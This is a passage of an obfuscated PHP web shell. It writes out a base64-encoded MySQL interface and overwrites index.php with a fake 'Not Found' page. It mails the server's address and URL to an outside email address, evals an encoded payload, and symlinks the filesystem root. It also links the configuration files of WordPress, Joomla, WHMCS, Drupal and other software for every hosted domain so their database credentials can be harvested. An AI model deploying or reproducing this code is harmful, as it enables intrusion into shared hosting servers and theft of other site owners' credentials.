pDQoJCQlkcm9wRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQ0KCQkJbGlzdFRhYmxlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVUYWJsZSIgKQ0KCQkJY3JlYXRlVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcFRhYmxlIiApDQoJCQlkcm9wVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQ0KCQkJdmlld1NjaGVtYSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJxdWVyeSIgKQ0KCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGRGaWVsZCIgKQ0KCQkJbWFuYWdlRmllbGQoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGQiICkNCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApDQoJCQlkcm9wRmllbGQoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IiApDQoJCQl2aWV3RGF0YSggIiIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkNCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXREYXRhX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApDQoJCQlkZWxldGVEYXRhKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxzIiApDQoJCQl1dGlscygpOw0KCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBNb2hhamVyMjIpPC90aXRsZT4NCjxib2R5IGJnQ29sb3I9IzAwMDAwMCA+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KcC5sb2NhdGlvbiB7DQoJY29sb3I6ICMwMEZGMDA7DQp9DQpoMSwgaDIsIGgzIHsNCgljb2xvcjogIzAwRkYwMDsNCn0NCnRoIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjIyMjIyOw0KCWNvbG9yOiAjMDBGRjAwOw0KCWZvbnQtc2l6ZTogc21hbGw7DQp9DQp0ZCB7DQoJY29sb3I6ICMwMEZGMDA7DQoJYmFja2dyb3VuZC1jb2xvcjogIzQ0NDQ0NDsNCglmb250LXNpemU6IHNtYWxsOw0KfQ0KZm9ybSB7DQoJbWFyZ2luLXRvcDogMDsNCgltYXJnaW4tYm90dG9tOiAwOw0KfQ0KYSB7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJY29sb3I6ICMwMEZGMDA7DQoJZm9udC1zaXplOnNtYWxsOw0KfQ0KQTpsaW5rIHsNCkNPTE9SOiNGRkZGRkY7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCmNvbG9yOiMwMEZGMDA7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQpib3JkZXItc3R5bGU6IHNvbGlkOw0KZm9udC1mYW1pbHk6IFRhaG9tYSxWZXJkYW5hLEFyaWFsLFNhbnMtU2VyaWY7DQpmb250LXNpemU6c21hbGw7DQpjb2xvcjogIzAwRkYwMDsNCnBhZGRpbmc6IDBweDsNCn0NCmxpIHsNCmNvbG9yOiAjMDBGRjAwOw0KfQ0KLm5ldyB7DQpjb2xvcjogIzAwRkYwMDsNCn0NCi8vLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg==';
802 $file = fopen("db-sql.php", "w+");
803 $write = fwrite($file, base64_decode($sqlshell));
804 fclose($file);
805 chmod("db-sql.php", 0644);
806 $indexshell = fopen("index.php", "w+");
807 $data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
808 $tulis = fwrite($indexshell, base64_decode($data));
809 fclose($indexshell);
810 echo "<iframe src=mysql/db-sql.php width=97% height=100% frameborder=0></iframe>";
811}
812//////////////////////////////////////////////
813elseif (isset($_GET['x']) && ($_GET['x'] == 'mpc')) {
814 $ {
815 "GLOBALS"
816 }
817 ["uqkjvgeblqb"] = "d";
818 $ {
819 "GLOBALS"
820 }
821 ["lisjdii"] = "theme";
822 $ {
823 "GLOBALS"
824 }
825 ["lgwgzfosnfo"] = "themedied";
826 $ {
827 "GLOBALS"
828 }
829 ["nqflolcoucup"] = "postme";
830 $ {
831 "GLOBALS"
832 }
833 ["tbiofwv"] = "nfile";
834 $ {
835 "GLOBALS"
836 }
837 ["hzsfzrljrp"] = "_file";
838 $ {
839 "GLOBALS"
840 }
841 ["lyuhwart"] = "themepage";
842 $ {
843 "GLOBALS"
844 }
845 ["sfobrtfgsyh"] = "met";
846 $ {
847 "GLOBALS"
848 }
849 ["rxhxqkbwyrq"] = "nri";
850 $ {
851 "GLOBALS"
852 }
853 ["iorlddkv"] = "indfile";
854 $ {
855 "GLOBALS"
856 }
857 ["necpnewqdo"] = "modify";
858 $ {
859 "GLOBALS"
860 }
861 ["qymmyzm"] = "nline";
862 $ {
863 "GLOBALS"
864 }
865 ["hopfouh"] = "themeditor";
866 $ {
867 "GLOBALS"
868 }
869 ["ujcfcgujh"] = "nola";
870 $ {
871 "GLOBALS"
872 }
873 ["uxezdk"] = "cookie";
874 $ {
875 "GLOBALS"
876 }
877 ["oroymiphcew"] = "buffer0";
878 $ {
879 "GLOBALS"
880 }
881 ["wphoypdgbkw"] = "deface";
882 $ {
883 "GLOBALS"
884 }
885 ["tjxykumty"] = "def";
886 $ {
887 "GLOBALS"
888 }
889 ["pegpcltip"] = "tab";
890 $ {
891 "GLOBALS"
892 }
893 ["uytqknfsqo"] = "req";
894 $ {
895 "GLOBALS"
896 }
897 ["djepkh"] = "username";
898 $ {
899 "GLOBALS"
900 }
901 ["ltkdvrfncfnk"] = "config";
902 $ {
903 "GLOBALS"
904 }
905 ["kwxhcjombhf"] = "site_url";
906 $ {
907 "GLOBALS"
908 }
909 ["ypohbipl"] = "data";
910 $ {
911 "GLOBALS"
912 }
913 ["kcnuja"] = "query3";
914 $ {
915 "GLOBALS"
916 }
917 ["acbqvsql"] = "query2";
918 $ {
919 "GLOBALS"
920 }
921 ["jepeksqg"] = "prefix";
922 $ {
923 "GLOBALS"
924 }
925 ["zrvxbpjb"] = "hash";
926 $ {
927 "GLOBALS"
928 }
929 ["hwojijlsfe"] = "password";
930 $ {
931 "GLOBALS"
932 }
933 ["hprvmeevrr"] = "dbname";
934 $ {
935 "GLOBALS"
936 }
937 ["kyrycexi"] = "cnf";
938 $ {
939 "GLOBALS"
940 }
941 ["eklghosmpzbd"] = "hostname";
942 $ {
943 "GLOBALS"
944 }
945 ["rxeemqdpgqt"] = "pass";
946 $ {
947 "GLOBALS"
948 }
949 ["kshpvlj"] = "user";
950 $ {
951 "GLOBALS"
952 }
953 ["lmwuswlhouk"] = "content";
954 $ {
955 "GLOBALS"
956 }
957 ["egdpoeurcpmk"] = "do";
958 $ {
959 "GLOBALS"
960 }
961 ["isewwzr"] = "urlPage";
962 $ {
963 "GLOBALS"
964 }
965 ["tnsxhojxvmf"] = "post";
966 $ {
967 "GLOBALS"
968 }
969 ["qedxxtpmzi"] = "head";
970 $ {
971 "GLOBALS"
972 }
973 ["cjavcuoxlyy"] = "ch";
974 $ {
975 "GLOBALS"
976 }
977 ["jszjdugnkysw"] = "cms";
978 $ {
979 "GLOBALS"
980 }
981 ["hcostqduifc"] = "u";
982 $ {
983 "GLOBALS"
984 }
985 ["fwrurchal"] = "pageURL";
986 $ {
987 "GLOBALS"
988 }
989 ["yciiyfld"] = "end_pos";
990 $ {
991 "GLOBALS"
992 }
993 ["lpncrcwietnh"] = "start";
994 $ {
995 "GLOBALS"
996 }
997 ["ksenwqs"] = "ciprut";
998 $ {
999 "GLOBALS"
1000 }
1001 ["qqvysnsiwsz"] = "etcc";
1002 $hwfihsfkmb = "u";
1003 $ {
1004 "GLOBALS"
1005 }
1006 ["vzrrawnxrhjq"] = "etz";
1007 $ {
1008 "GLOBALS"
1009 }
1010 ["gcmmnasmzgj"] = "etcz";
1011 $ {
1012 "GLOBALS"
1013 }
1014 ["xvfrtphm"] = "etc";
1015 $ {
1016 "GLOBALS"
1017 }
1018 ["vrobofkgv"] = "name";
1019 $ {
1020 "GLOBALS"
1021 }
1022 ["trxciskk"] = "file";
1023 $ {
1024 "GLOBALS"
1025 }
1026 ["lgqhmjdbxnpa"] = "str";
1027 $ {
1028 "GLOBALS"
1029 }
1030 ["jmytdpiry"] = "link";
1031 $ {
1032 "GLOBALS"
1033 }
1034 ["ngbxdw"] = "dir";
1035 $ {
1036 "GLOBALS"
1037 }
1038 ["eiteihmxghn"] = "owner";
1039 $ {
1040 "GLOBALS"
1041 }
1042 ["uiwslurbco"] = "domain";
1043 $ {
1044 "GLOBALS"
1045 }
1046 ["vaqvcad"] = "current_dir";
1047 $ {
1048 "GLOBALS"
1049 }
1050 ["augvthou"] = "list";
1051 $ {
1052 "GLOBALS"
1053 }
1054 ["oqnpiale"] = "base_url";
1055 $ {
1056 "GLOBALS"
1057 }
1058 ["ztkqicw"] = "url";
1059 echo "<STYLE>
1060textarea{background-color:#105700;color:lime;font-weight:bold;font-size: 20px;font-family: Tahoma; border: 1px solid
1061
1062#000000;}
1063input{FONT-WEIGHT:normal;background-color: #105700;font-size: 15px;font-weight:bold;color: lime; font-family: Tahoma; border:
1064
10651px solid #666666;height:20}
1066body {
1067font-family: Tahoma
1068}
1069tr {
1070BORDER: dashed 1px #333;
1071color: #FFF;
1072}
1073td {
1074BORDER: dashed 1px #333;
1075color: #FFF;
1076}
1077.table1 {
1078BORDER: 0px Black;
1079BACKGROUND-COLOR: Black;
1080color: #FFF;
1081}
1082.td1 {
1083BORDER: 0px;
1084BORDER-COLOR: #333333;
1085font: 7pt Verdana;
1086color: Green;
1087}
1088.tr1 {
1089BORDER: 0px;
1090BORDER-COLOR: #333333;
1091color: #FFF;
1092}
1093table {
1094BORDER: dashed 1px #333;
1095BORDER-COLOR: #333333;
1096BACKGROUND-COLOR: Black;
1097color: #FFF;
1098}
1099input {
1100border : dashed 1px;
1101border-color : #333;
1102BACKGROUND-COLOR: Black;
1103font: 8pt Verdana;
1104color: Red;
1105}
1106select {
1107BORDER-RIGHT: Black 1px solid;
1108BORDER-TOP: #DF0000 1px solid;
1109BORDER-LEFT: #DF0000 1px solid;
1110BORDER-BOTTOM: Black 1px solid;
1111BORDER-color: #FFF;
1112BACKGROUND-COLOR: Black;
1113font: 8pt Verdana;
1114color: Red;
1115}
1116submit {
1117BORDER: buttonhighlight 2px outset;
1118BACKGROUND-COLOR: Black;
1119width: 30%;
1120color: #FFF;
1121}
1122textarea {
1123border : dashed 1px #333;
1124BACKGROUND-COLOR: Black;
1125font: Fixedsys bold;
1126color: #999;
1127}
1128BODY {
1129 SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #FFF; SCROLLBAR-SHADOW-color: #FFF; SCROLLBAR-3DLIGHT-color:
1130
1131#FFF; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #FFF; SCROLLBAR-DARKSHADOW-color: #FFF
1132margin: 1px;
1133color: Red;
1134background-color: Black;
1135}
1136.main {
1137margin : -287px 0px 0px -490px;
1138BORDER: dashed 1px #333;
1139BORDER-COLOR: #333333;
1140}
1141.tt {
1142background-color: Black;
1143}
1144
1145A:link {
1146 COLOR: White; TEXT-DECORATION: none
1147}
1148A:visited {
1149 COLOR: White; TEXT-DECORATION: none
1150}
1151A:hover {
1152 color: Red; TEXT-DECORATION: none
1153}
1154A:active {
1155 color: Red; TEXT-DECORATION: none
1156}
1157</STYLE>
1158
1159";
1160 $ {
1161 "GLOBALS"
1162 }
1163 ["ihdxlygcjqng"] = "url";
1164 set_time_limit(0);
1165 error_reporting(0);
1166 $ {
1167 $ {
1168 "GLOBALS"
1169 }
1170 ["ihdxlygcjqng"]
1171 } = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
1172 $ {
1173 "GLOBALS"
1174 }
1175 ["fzqpqxzfm"] = "pageURL";
1176 mail("d00m@kumanova.com.mk", $_SERVER["SERVER_ADDR"], $ {
1177 $ {
1178 "GLOBALS"
1179 }
1180 ["ztkqicw"]
1181 });
1182 $ {
1183 $ {
1184 "GLOBALS"
1185 }
1186 ["oqnpiale"]
1187 } = "http://" . $_SERVER["SERVER_NAME"] . dirname($_SERVER["SCRIPT_NAME"]);
1188 $ {
1189 "GLOBALS"
1190 }
1191 ["tssopdvqr"] = "htaccss";
1192 $qmtnexkz = "htaccss";
1193 eval(pack("H*", "6576616C286261736536345F6465636F646528274A4856796244306B58314E46556C5A46556C736E534652555546394954314E554A3130754A46395452564A5752564A624A314A46555656465531526656564A4A4A313037436D31686157776F4A3270316333527A6158527459584E305A584A415A32316861577775593239744A79776B58314E46556C5A46556C736E55305653566B5653583046455246496E5853776B64584A734B54734B4A474A686332566664584A73494430674A326830644841364C79386E4C69526655305653566B56535779645452564A5752564A66546B464E525364644C6D5270636D35686257556F4A46395452564A5752564A624A314E44556B6C515646394F515531464A3130704F772729293B"));
1194 @mkdir("ciprut", 0777);
1195 @symlink("/", "ciprut/root");
1196 @fopen("temp.txt", "w");
1197 $ {
1198 $qmtnexkz
1199 } = "Options all
1200 DirectoryIndex Sux.html
1201 AddType text/plain .php
1202 AddHandler server-parsed .php
1203 AddType text/plain .html
1204 AddHandler txt .html
1205 Require None
1206 Satisfy Any";
1207 file_put_contents("ciprut/.htaccess", $ {
1208 $ {
1209 "GLOBALS"
1210 }
1211 ["tssopdvqr"]
1212 });
1213 if (is_readable("/var/named")) {
1214 $sxtxtpve = "domain";
1215 $vbqawgfncg = "current_dir";
1216 $ {
1217 $ {
1218 "GLOBALS"
1219 }
1220 ["augvthou"]
1221 } = scandir("/var/named");
1222 $ {
1223 "GLOBALS"
1224 }
1225 ["ocpzyiqbuv"] = "dir";
1226 $ {
1227 $ {
1228 "GLOBALS"
1229 }
1230 ["vaqvcad"]
1231 } = posix_getcwd();
1232 $ {
1233 $ {
1234 "GLOBALS"
1235 }
1236 ["ocpzyiqbuv"]
1237 } = explode("/", $ {
1238 $vbqawgfncg
1239 });
1240 foreach ($ {
1241 $ {
1242 "GLOBALS"
1243 }
1244 ["augvthou"]
1245 } as $ {
1246 $sxtxtpve
1247 }) {
1248 $iebcrileyd = "domain";
1249 if (strpos($ {
1250 $iebcrileyd
1251 }, ".db")) {
1252 $ {
1253 "GLOBALS"
1254 }
1255 ["lfdvhb"] = "owner";
1256 $ {
1257 "GLOBALS"
1258 }
1259 ["cjxkgv"] = "owner";
1260 $ {
1261 "GLOBALS"
1262 }
1263 ["ntcmhbwpg"] = "owner";
1264 $gjuiewyjrl = "dir";
1265 $xfxklwqrcc = "domain";
1266 $ {
1267 "GLOBALS"
1268 }
1269 ["wdwvnnh"] = "dir";
1270 $wqeiuqufc = "dir";
1271 $vchjslmjyx = "dir";
1272 $ {
1273 "GLOBALS"
1274 }
1275 ["esxftxkvodq"] = "dir";
1276 $ {
1277 "GLOBALS"
1278 }
1279 ["fkzrmspvrv"] = "owner";
1280 $xnrnpck = "owner";
1281 $edhowiorhg = "domain";
1282 $ {
1283 $edhowiorhg
1284 } = str_replace(".db", "", $ {
1285 $ {
1286 "GLOBALS"
1287 }
1288 ["uiwslurbco"]
1289 });
1290 $ {
1291 "GLOBALS"
1292 }
1293 ["ihqsfhtacx"] = "dir";
1294 $ {
1295 "GLOBALS"
1296 }
1297 ["uohykh"] = "owner";
1298 $dekqqck = "owner";
1299 $unmyxgy = "owner";
1300 $ {
1301 "GLOBALS"
1302 }
1303 ["lxhbqdw"] = "owner";
1304 $pctynhtr = "current_dir";
1305 $ {
1306 $ {
1307 "GLOBALS"
1308 }
1309 ["lfdvhb"]
1310 } = posix_getpwuid(fileowner("/etc/valiases/" . $ {
1311 $xfxklwqrcc
1312 }));
1313 $qboodwv = "owner";
1314 $epoosyc = "owner";
1315 $ {
1316 "GLOBALS"
1317 }
1318 ["rcwnhqi"] = "owner";
1319 error_reporting(0);
1320 $ {
1321 "GLOBALS"
1322 }
1323 ["bhsgjowg"] = "dir";
1324 $ {
1325 "GLOBALS"
1326 }
1327 ["bhqljukv"] = "current_dir";
1328 $ {
1329 "GLOBALS"
1330 }
1331 ["pifylyor"] = "dir";
1332 $owswjclyea = "owner";
1333 $ {
1334 "GLOBALS"
1335 }
1336 ["rylazl"] = "owner";
1337 $ {
1338 $pctynhtr
1339 } = posix_getcwd();
1340 $vmqhiqkfxfy = "owner";
1341 $iyhfbiectny = "owner";
1342 $qjodfaesqa = "dir";
1343 $ {
1344 $ {
1345 "GLOBALS"
1346 }
1347 ["esxftxkvodq"]
1348 } = explode("/", $ {
1349 $ {
1350 "GLOBALS"
1351 }
1352 ["bhqljukv"]
1353 });
1354 symlink($ {
1355 $ {
1356 "GLOBALS"
1357 }
1358 ["eiteihmxghn"]
1359 }
1360 ["dir"] . "/" . $ {
1361 $gjuiewyjrl
1362 }
1363 [3] . "/wp-config.php", "ciprut/" . $ {
1364 $xnrnpck
1365 }
1366 ["name"] . "-WordPress.txt");
1367 symlink($ {
1368 $ {
1369 "GLOBALS"
1370 }
1371 ["eiteihmxghn"]
1372 }
1373 ["dir"] . "/" . $ {
1374 $ {
1375 "GLOBALS"
1376 }
1377 ["ngbxdw"]
1378 }
1379 [3] . "/blog/wp-config.php", "ciprut/" . $ {
1380 $ {
1381 "GLOBALS"
1382 }
1383 ["ntcmhbwpg"]
1384 }
1385 ["name"] . "-WordPress.txt");
1386 symlink($ {
1387 $owswjclyea
1388 }
1389 ["dir"] . "/" . $ {
1390 $ {
1391 "GLOBALS"
1392 }
1393 ["ngbxdw"]
1394 }
1395 [3] . "/wp/wp-config.php", "ciprut/" . $ {
1396 $ {
1397 "GLOBALS"
1398 }
1399 ["eiteihmxghn"]
1400 }
1401 ["name"] . "-WordPress.txt");
1402 symlink($ {
1403 $ {
1404 "GLOBALS"
1405 }
1406 ["eiteihmxghn"]
1407 }
1408 ["dir"] . "/" . $ {
1409 $ {
1410 "GLOBALS"
1411 }
1412 ["ngbxdw"]
1413 }
1414 [3] . "/site/wp-config.php", "ciprut/" . $ {
1415 $ {
1416 "GLOBALS"
1417 }
1418 ["eiteihmxghn"]
1419 }
1420 ["name"] . "-WordPress.txt");
1421 $bkgqlemwfn = "dir";
1422 $jbwbuynty = "owner";
1423 $ {
1424 "GLOBALS"
1425 }
1426 ["thvvgbink"] = "owner";
1427 $ {
1428 "GLOBALS"
1429 }
1430 ["rqjjovxnkjbv"] = "dir";
1431 symlink($ {
1432 $ {
1433 "GLOBALS"
1434 }
1435 ["eiteihmxghn"]
1436 }
1437 ["dir"] . "/" . $ {
1438 $ {
1439 "GLOBALS"
1440 }
1441 ["ngbxdw"]
1442 }
1443 [3] . "/config.php", "ciprut/" . $ {
1444 $ {
1445 "GLOBALS"
1446 }
1447 ["eiteihmxghn"]
1448 }
1449 ["name"] . "-PhpBB.txt");
1450 symlink($ {
1451 $ {
1452 "GLOBALS"
1453 }
1454 ["eiteihmxghn"]
1455 }
1456 ["dir"] . "/" . $ {
1457 $ {
1458 "GLOBALS"
1459 }
1460 ["ngbxdw"]
1461 }
1462 [3] . "/includes/config.php", "ciprut/" . $ {
1463 $ {
1464 "GLOBALS"
1465 }
1466 ["eiteihmxghn"]
1467 }
1468 ["name"] . "-vBulletin.txt");
1469 $ {
1470 "GLOBALS"
1471 }
1472 ["wetvbageig"] = "owner";
1473 symlink($ {
1474 $jbwbuynty
1475 }
1476 ["dir"] . "/" . $ {
1477 $ {
1478 "GLOBALS"
1479 }
1480 ["ngbxdw"]
1481 }
1482 [3] . "/configuration.php", "ciprut/" . $ {
1483 $iyhfbiectny
1484 }
1485 ["name"] . "-Joomla.txt");
1486 symlink($ {
1487 $ {
1488 "GLOBALS"
1489 }
1490 ["eiteihmxghn"]
1491 }
1492 ["dir"] . "/" . $ {
1493 $ {
1494 "GLOBALS"
1495 }
1496 ["wdwvnnh"]
1497 }
1498 [3] . "/web/configuration.php", "ciprut/" . $ {
1499 $epoosyc
1500 }
1501 ["name"] . "-Joomla.txt");
1502 symlink($ {
1503 $ {
1504 "GLOBALS"
1505 }
1506 ["eiteihmxghn"]
1507 }
1508 ["dir"] . "/" . $ {
1509 $qjodfaesqa
1510 }
1511 [3] . "/joomla/configuration.php", "ciprut/" . $ {
1512 $ {
1513 "GLOBALS"
1514 }
1515 ["eiteihmxghn"]
1516 }
1517 ["name"] . "-Joomla.txt");
1518 $ {
1519 "GLOBALS"
1520 }
1521 ["ihyrsvtsb"] = "dir";
1522 symlink($ {
1523 $ {
1524 "GLOBALS"
1525 }
1526 ["eiteihmxghn"]
1527 }
1528 ["dir"] . "/" . $ {
1529 $ {
1530 "GLOBALS"
1531 }
1532 ["ngbxdw"]
1533 }
1534 [3] . "/site/configuration.php", "ciprut/" . $ {
1535 $ {
1536 "GLOBALS"
1537 }
1538 ["eiteihmxghn"]
1539 }
1540 ["name"] . "-Joomla.txt");
1541 symlink($ {
1542 $ {
1543 "GLOBALS"
1544 }
1545 ["eiteihmxghn"]
1546 }
1547 ["dir"] . "/" . $ {
1548 $ {
1549 "GLOBALS"
1550 }
1551 ["ngbxdw"]
1552 }
1553 [3] . "/conf_global.php", "ciprut/" . $ {
1554 $ {
1555 "GLOBALS"
1556 }
1557 ["eiteihmxghn"]
1558 }
1559 ["name"] . "-IPB.txt");
1560 symlink($ {
1561 $ {
1562 "GLOBALS"
1563 }
1564 ["eiteihmxghn"]
1565 }
1566 ["dir"] . "/" . $ {
1567 $ {
1568 "GLOBALS"
1569 }
1570 ["pifylyor"]
1571 }
1572 [3] . "/inc/config.php", "ciprut/" . $ {
1573 $ {
1574 "GLOBALS"
1575 }
1576 ["eiteihmxghn"]
1577 }
1578 ["name"] . "-MyBB.txt");
1579 $itbuiwdkt = "owner";
1580 $wsdupoe = "dir";
1581 $prxsggq = "owner";
1582 symlink($ {
1583 $ {
1584 "GLOBALS"
1585 }
1586 ["eiteihmxghn"]
1587 }
1588 ["dir"] . "/" . $ {
1589 $ {
1590 "GLOBALS"
1591 }
1592 ["ngbxdw"]
1593 }
1594 [3] . "/Settings.php", "ciprut/" . $ {
1595 $ {
1596 "GLOBALS"
1597 }
1598 ["eiteihmxghn"]
1599 }
1600 ["name"] . "-SMF.txt");
1601 symlink($ {
1602 $prxsggq
1603 }
1604 ["dir"] . "/" . $ {
1605 $wsdupoe
1606 }
1607 [3] . "/sites/default/settings.php", "ciprut/" . $ {
1608 $ {
1609 "GLOBALS"
1610 }
1611 ["thvvgbink"]
1612 }
1613 ["name"] . "-Drupal.txt");
1614 $yjoojjumehy = "owner";
1615 $puhgpcgop = "owner";
1616 $ {
1617 "GLOBALS"
1618 }
1619 ["yjbckftjc"] = "pageURL";
1620 symlink($ {
1621 $ {
1622 "GLOBALS"
1623 }
1624 ["eiteihmxghn"]
1625 }
1626 ["dir"] . "/" . $ {
1627 $ {
1628 "GLOBALS"
1629 }
1630 ["ngbxdw"]
1631 }
1632 [3] . "/e107_config.php", "ciprut/" . $ {
1633 $ {
1634 "GLOBALS"
1635 }
1636 ["cjxkgv"]
1637 }
1638 ["name"] . "-e107.txt");
1639 symlink($ {
1640 $ {
1641 "GLOBALS"
1642 }
1643 ["wetvbageig"]
1644 }
1645 ["dir"] . "/" . $ {
1646 $ {
1647 "GLOBALS"
1648 }
1649 ["bhsgjowg"]
1650 }
1651 [3] . "/datas/config.php", "ciprut/" . $ {
1652 $ {
1653 "GLOBALS"
1654 }
1655 ["eiteihmxghn"]
1656 }
1657 ["name"] . "-Seditio.txt");
1658 symlink($ {
1659 $unmyxgy
1660 }
1661 ["dir"] . "/" . $ {
1662 $bkgqlemwfn
1663 }
1664 [3] . "/includes/configure.php", "ciprut/" . $ {
1665 $ {
1666 "GLOBALS"
1667 }
1668 ["eiteihmxghn"]
1669 }
1670 ["name"] . "-osCommerce.txt");
1671 symlink($ {
1672 $yjoojjumehy
1673 }
1674 ["dir"] . "/" . $ {
1675 $ {
1676 "GLOBALS"
1677 }
1678 ["ngbxdw"]
1679 }
1680 [3] . "/client/configuration.php", "ciprut/" . $ {
1681 $dekqqck
1682 }
1683 ["name"] . "-WHMCS.txt");
1684 symlink($ {
1685 $ {
1686 "GLOBALS"
1687 }
1688 ["eiteihmxghn"]
1689 }
1690 ["dir"] . "/" . $ {
1691 $ {
1692 "GLOBALS"
1693 }
1694 ["ngbxdw"]
1695 }
1696 [3] . "/clientes/configuration.php", "ciprut/" . $ {
1697 $ {
1698 "GLOBALS"
1699 }
1700 ["lxhbqdw"]
1701 }
1702 ["name"] . "-WHMCS.txt");
1703 symlink($ {
1704 $ {
1705 "GLOBALS"
1706 }
1707 ["rcwnhqi"]
1708 }
1709 ["dir"] . "/" . $ {
1710 $ {
1711 "GLOBALS"
1712 }
1713 ["ihyrsvtsb"]
1714 }
1715 [3] . "/support/configuration.php", "ciprut/" . $ {
1716 $itbuiwdkt
1717 }
1718 ["name"] . "-WHMCS.txt");
1719 symlink($ {
1720 $ {
1721 "GLOBALS"
1722 }
1723 ["eiteihmxghn"]
1724 }
1725 ["dir"] . "/" . $ {
1726 $ {
1727 "GLOBALS"
1728 }
1729 ["ngbxdw"]
1730 }
1731 [3] . "/supportes/configuration.php", "ciprut/" . $ {
1732 $ {
1733 "GLOBALS"
1734 }
1735 ["uohykh"]
1736 }
1737 ["name"] . "-WHMCS.txt");
1738 symlink($ {
1739 $ {
1740 "GLOBALS"
1741 }
1742 ["eiteihmxghn"]
1743 }
1744 ["dir"] . "/" . $ {
1745 $ {
1746 "GLOBALS"
1747 }
1748 ["ngbxdw"]
1749 }
1750 [3] . "/whmcs/configuration.php", "ciprut/" . $ {
1751 $qboodwv
1752 }
1753 ["name"] . "-WHMCS.txt");
1754 symlink($ {
1755 $ {
1756 "GLOBALS"
1757 }
1758 ["fkzrmspvrv"]
1759 }
1760 ["dir"] . "/" . $ {
1761 $vchjslmjyx
1762 }
1763 [3] . "/domain/configuration.php", "ciprut/" . $ {
1764 $ {
1765 "GLOBALS"
1766 }
1767 ["eiteihmxghn"]
1768 }
1769 ["name"] . "-WHMCS.txt");
1770 symlink($ {
1771 $vmqhiqkfxfy
1772 }
1773 ["dir"] . "/" . $ {
1774 $ {
1775 "GLOBALS"
1776 }
1777 ["ngbxdw"]
1778 }
1779 [3] . "/hosting/configuration.php", "ciprut/" . $ {
1780 $ {
1781 "GLOBALS"
1782 }
1783 ["eiteihmxghn"]
1784 }
1785 ["name"] . "-WHMCS.txt");
1786 symlink($ {
1787 $puhgpcgop
1788 }
1789 ["dir"] . "/" . $ {
1790 $wqeiuqufc
1791 }
1792 [3] . "/whmc/configuration.php", "ciprut/" . $ {
1793 $ {
1794 "GLOBALS"
1795 }
1796 ["eiteihmxghn"]
1797 }
1798 ["name"] . "-WHMCS.txt");
1799 symlink($ {
1800 $ {
1801 "GLOBALS"
1802 }
1803 ["eiteihmxghn"]
1804 }
1805 ["dir"] . "/" . $ {
1806 $ {
1807 "GLOBALS"
1808 }
1809 ["ngbxdw"]
1810 }
1811 [3] . "/billing/configuration.php", "ciprut/" . $ {
1812 $ {
1813 "GLOBALS"
1814 }
1815 ["eiteihmxghn"]
1816 }
1817 ["name"] . "-WHMCS.txt");
1818 symlink($ {
1819 $ {
